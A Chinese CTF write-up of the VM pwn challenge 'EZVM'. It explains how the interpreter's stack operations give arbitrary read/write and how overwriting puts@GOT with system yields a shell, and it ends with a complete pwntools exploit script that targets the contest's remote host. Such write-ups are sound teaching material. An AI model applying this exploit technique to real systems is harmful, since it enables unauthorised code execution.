EZVM做题记录

在fnz比赛中,遇到一道对于本人现阶段较有挑战性的一道VM题,这里记录一下做题的过程。

VM题目一般会用程序语言去模拟某些解释器性质功能,往往拥有较大的代码量,需要逆向去还原题目的指令集功能以及解释器相关的结构体等

题目是EZVM,打开时看看保:没开pei,Partial RELRO,其他保护全开。libc版本来到了2.35,每次给了libc的题目可以利用strings libc.so.6 | grep "ubuntu"来看一下题目给的libc版本,特别是有堆利用的题目。

ida打开程序,总览main函数,交互包括读取name,opcode,data,并进入一个类似于操作opcode与data的解析函数,根据返回值去调用输出name与输出data的函数。这个题目存在一个比较关键的结构,其管理了一个模拟的栈,其对应的成员如图:。题目中有些关键的栈操作函数如果不在ida中转化变量为结构体还是很难逆的。这里实现了栈的push功能。关键逻辑还是在解析函数中,对于存储opcode的栈依次弹栈并switch_case判断opecode跳到不同操作函数中(已经算是非常直接的解析逻辑了。

这里关注两个函数:push_align与write_align

  • push_align会pop work_arena栈顶值作为相对当前栈顶的偏移push对应位置的8字节内容
  • write_align会分别pop write_content与align作为写入地址以及相对当前栈顶的偏移

观察程序发现三个栈都处于堆中,其实不难发现我具有堆空间内的任意地址读写。初步想法是寻找堆区域的libc地址,对地址做操作打__free_hook(当时忘记是libc3.35了。。)。然而因为执行解析操作时堆结构并没有free的unsorted_bin,堆空间也就没有libc地址可以用了。再次观察堆空间有的堆块:除了三个栈本体与存name的chunk,还有三个my_stack管理结构。而对于栈的实体的定位取决于第一个字长数据,将work_area栈管理结构中指针改到pei中地址,相当于实现了ELF文件的任意读写。不难想到直接劫持got表是最直接的方法,刚好后续会puts一个我们控制指向内容的name指针。直接name为/bin/sh即可!

补充:注意题目的交互方式,opcode逐字节进行了特定处理,data对输入数字进行字节转换,并以空格分隔每个数字

Exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from struct import pack, unpack
context.terminal = ['gdb', '-p']
context.log_level='debug'
context.arch = 'amd64'
# p=process('./pwn')

p=remote('nc1.ctfplus.cn',40894)
libc=ELF('./libc.so.6')
print(hex(libc.sym['system']-libc.sym['puts']))
#虚拟逻辑:opcode前后4字交换 Data存数字对应字节码

'''opcode:
0x45 弹data到操作区
0x65 弹操作区到data
0xC5 加
0x21 减
0x23 除
0x14 乘
0x25 按照栈顶索引改写数据
0x46 按照栈顶索引读数据到操作区栈顶
'''

'''
思路:
构造opcode:先写操作栈指针为bss位置,任意读数据读取puts_got值,将data_push到操作栈上,进行运算实现system,写到puts_got位置,最后puts(name)实现getshell
'''
puts_got=0x405020
align_got=0x300e0
# align_bss=
bss=puts_got+0x400
# gdb.attach(p)
# pause()
p.sendlineafter('name :)\n','/bin/sh\x00')
p.sendlineafter('OPCODE :)\n',b'\x45\x45\x25\x45\x45\x46\x21\x45\x25')
p.sendlineafter('DATA :)\n',str(bss).encode()+b' -3 '+str(align_got).encode()+b' -128 -127')
p.interactive()